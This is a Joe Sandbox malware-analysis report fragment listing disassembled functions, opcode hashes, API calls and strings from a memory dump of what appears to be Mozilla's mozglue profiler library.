Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction ID: a899fa613e4c4b232c11e9189b4b7732dc773f6f34e3f0bd3ad67280208987b7
Opcode Fuzzy Hash: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction Fuzzy Hash: AC42D472A087518BD304CE3CC49035AF3E2BFC9364F594B2DE999A7794D739D9418B82

Function 6C9C76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b85fa92e39bd717ff08c812256885db20c52909c69fc35117cf796b061bc8064
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8332F871E0061A8FDB14CF98C8D0AADFBB6FF88304F6481A9C549A7745D731A986CF91

Function 6C9C6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 339a7a8d9ce8ff281e064841f521848a5f2afeceb7f9eb647f16b7c89a008e69
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F522E871E0061A8FDB14CF98C880AADF7F6FF88304F6485AAC549A7745D731A986CF91

Function 6C980512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 286ab1b55caabb77574da8dc762465e9dbb4a6a592fa37c3ece0a54f2dbccbfb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FC221671E01659CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D731A986CF90

Function 6C9CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction ID: 845f37bb87fd0395f7ec045ee9b6bdfdba6238f99a989a2309416836ff3aa9ca
Opcode Fuzzy Hash: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction Fuzzy Hash: C3F14871B087458FD700CE28C8913AAB7E6AFD5318F158A2DE8D487781EB74D9898793

Function 6C95C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f235e11923b688408c7ff9597425e03612c3ff3549a37dde2826480d5134435
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AAA1AA71F0021A8FDB08CE69C8913AEB7F2AFC8354F588269D915E7781DB349D168B90

Function 6C997710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction ID: 9235d4aeb16e95b897db654b44aad1d842f977bcab8bd4c1c42e8846b01dd419
Opcode Fuzzy Hash: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction Fuzzy Hash: 7B714C75E012198FCB18CF99D8905EDBBB6FF89314F28816ED415AB740DB31A945CB90

Function 6C9958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction ID: e27303789d493c5076aeb74b262a07e258456b216b98fe066c17ff9ed332aa26
Opcode Fuzzy Hash: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction Fuzzy Hash: F5817A75A012199FCB04CFA8C8809EEBBF6FF89314F684269D511AB741D731E945CBA0

Function 6C99CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C96582D), ref: 6C99CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C96582D), ref: 6C99CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9CFE98,?,?,?,?,?,6C96582D), ref: 6C99CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C99CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C99CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C99CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C99CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C99CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C99CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C99CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C99CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C99CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C99CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C99CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C99CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C99CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C99CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C99CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C99CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C99CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C99CE8A

Strings

nostacksampling, xrefs: 6C99CD7C
audiocallbacktracing, xrefs: 6C99CDD4
noiostacks, xrefs: 6C99CCBE
fileio, xrefs: 6C99CC92
nativeallocations, xrefs: 6C99CDA8
stackwalk, xrefs: 6C99CCF8
samplingallthreads, xrefs: 6C99CE2C
power, xrefs: 6C99CE84
jsallocations, xrefs: 6C99CD0E
default, xrefs: 6C99CC21
mainthreadio, xrefs: 6C99CC7C
java, xrefs: 6C99CC37
seqstyle, xrefs: 6C99CCE6
leaf, xrefs: 6C99CC66
unregisteredthreads, xrefs: 6C99CE58
fileioall, xrefs: 6C99CCA8
markersallthreads, xrefs: 6C99CE42
processcpu, xrefs: 6C99CE6E
cpuallthreads, xrefs: 6C99CE16
ipcmessages, xrefs: 6C99CDBE
screenshots, xrefs: 6C99CCD4
preferencereads, xrefs: 6C99CD92
Unrecognized feature "%s"., xrefs: 6C99CEA0
notimerresolutionchange, xrefs: 6C99CE00

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction ID: 83ba0149e1da4508ae46db8caf5da7f62224e50d92e28a20b1727d8fa29fa8dd
Opcode Fuzzy Hash: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction Fuzzy Hash: 8751A7C1B4562622FF0431157D10BAA184DEFB724AF1C443AED1AA1F90FF05E71A86B7

Function 6C9647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C964801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C964817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C96482D
__Init_thread_footer.LIBCMT ref: 6C96484A

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

GetCurrentThreadId.KERNEL32 ref: 6C96485F
GetCurrentThreadId.KERNEL32 ref: 6C96487E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96488B
free.MOZGLUE(?), ref: 6C96493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C964956
free.MOZGLUE(00000000), ref: 6C964960
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96499A

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

free.MOZGLUE(?), ref: 6C9649C6
free.MOZGLUE(?), ref: 6C9649E9

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C964828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C964812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C964A42
[I %d/%d] profiler_shutdown, xrefs: 6C964A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9647FC

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction ID: 08453eb5f0dbc9816052d0d2f3ad419fc9f7ccd014a6fa1920723bf4cc2f4576
Opcode Fuzzy Hash: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction Fuzzy Hash: D0812571A049009BEB00DFA9C86876A3775AF5232DF240229D916A7FC1D731F894CF96

Function 6C964470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
Part of subcall function 6C964730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9644D2
InitOnceExecuteOnce.KERNEL32(6C9DF80C,6C95F240,?,?), ref: 6C96451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96455C
LoadLibraryW.KERNEL32(?), ref: 6C964592
InitializeCriticalSection.KERNEL32(6C9DF770), ref: 6C9645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9645BB
InitOnceExecuteOnce.KERNEL32(6C9DF818,6C95F240,?,?), ref: 6C964612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C964636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C964644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C96466D
VerSetConditionMask.NTDLL ref: 6C96469F
VerSetConditionMask.NTDLL ref: 6C9646AB
VerSetConditionMask.NTDLL ref: 6C9646B2
VerSetConditionMask.NTDLL ref: 6C9646B9
VerSetConditionMask.NTDLL ref: 6C9646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9646FD

Strings

user32.dll, xrefs: 6C964557, 6C96463F
l, xrefs: 6C964578
WRusr.dll, xrefs: 6C9644B5
NativeNtBlockSet_Write, xrefs: 6C9646F7
kernel32.dll, xrefs: 6C9644CD

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction ID: 95f3080130d8457ce0f29acd07269db9e794ac254ff7730002b5faff1b8e1813
Opcode Fuzzy Hash: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction Fuzzy Hash: 2261F7B16087449FFB00DFA1C80AB957BB8EB4270CF24C559E505ABA91D770E6C4CFA1

Function 6C99E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C997090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C99B9F1,?), ref: 6C997107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99E92D
GetCurrentThreadId.KERNEL32 ref: 6C99EA4F
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA80
GetCurrentThreadId.KERNEL32 ref: 6C99EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99EA92
GetCurrentThreadId.KERNEL32 ref: 6C99EB11
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C99EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB5B

Part of subcall function 6C995710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C99EB71), ref: 6C9957AB

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C99EBAC

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99EBC1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C99EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,00000000), ref: 6C99EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EC46
CloseHandle.KERNEL32(?), ref: 6C99EC55
free.MOZGLUE(00000000), ref: 6C99EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C99EA9B
[I %d/%d] profiler_start, xrefs: 6C99EBB4

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction ID: 2aa7de54209fbba727499cebadc23d7e2544764f98b9149ff84a5c138505d6e8
Opcode Fuzzy Hash: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction Fuzzy Hash: 39A15B31704A049FDB009F28C849B6A77B5FF9631DF298129E919A7F51DB30F884CBA1

Function 6C99F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C99F8F9

Part of subcall function 6C966390: GetCurrentThreadId.KERNEL32 ref: 6C9663D0
Part of subcall function 6C966390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9663DF
Part of subcall function 6C966390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C96640E

ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F93A
GetCurrentThreadId.KERNEL32 ref: 6C99F98A
GetCurrentThreadId.KERNEL32 ref: 6C99F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F716

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C95B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C95B5E0

GetCurrentThreadId.KERNEL32 ref: 6C99F739
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F746
GetCurrentThreadId.KERNEL32 ref: 6C99F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9D385B,00000002,?,?,?,?,?), ref: 6C99F829
free.MOZGLUE(?,?,00000000,?), ref: 6C99F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C99F866
free.MOZGLUE(?), ref: 6C99FA0C

Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C
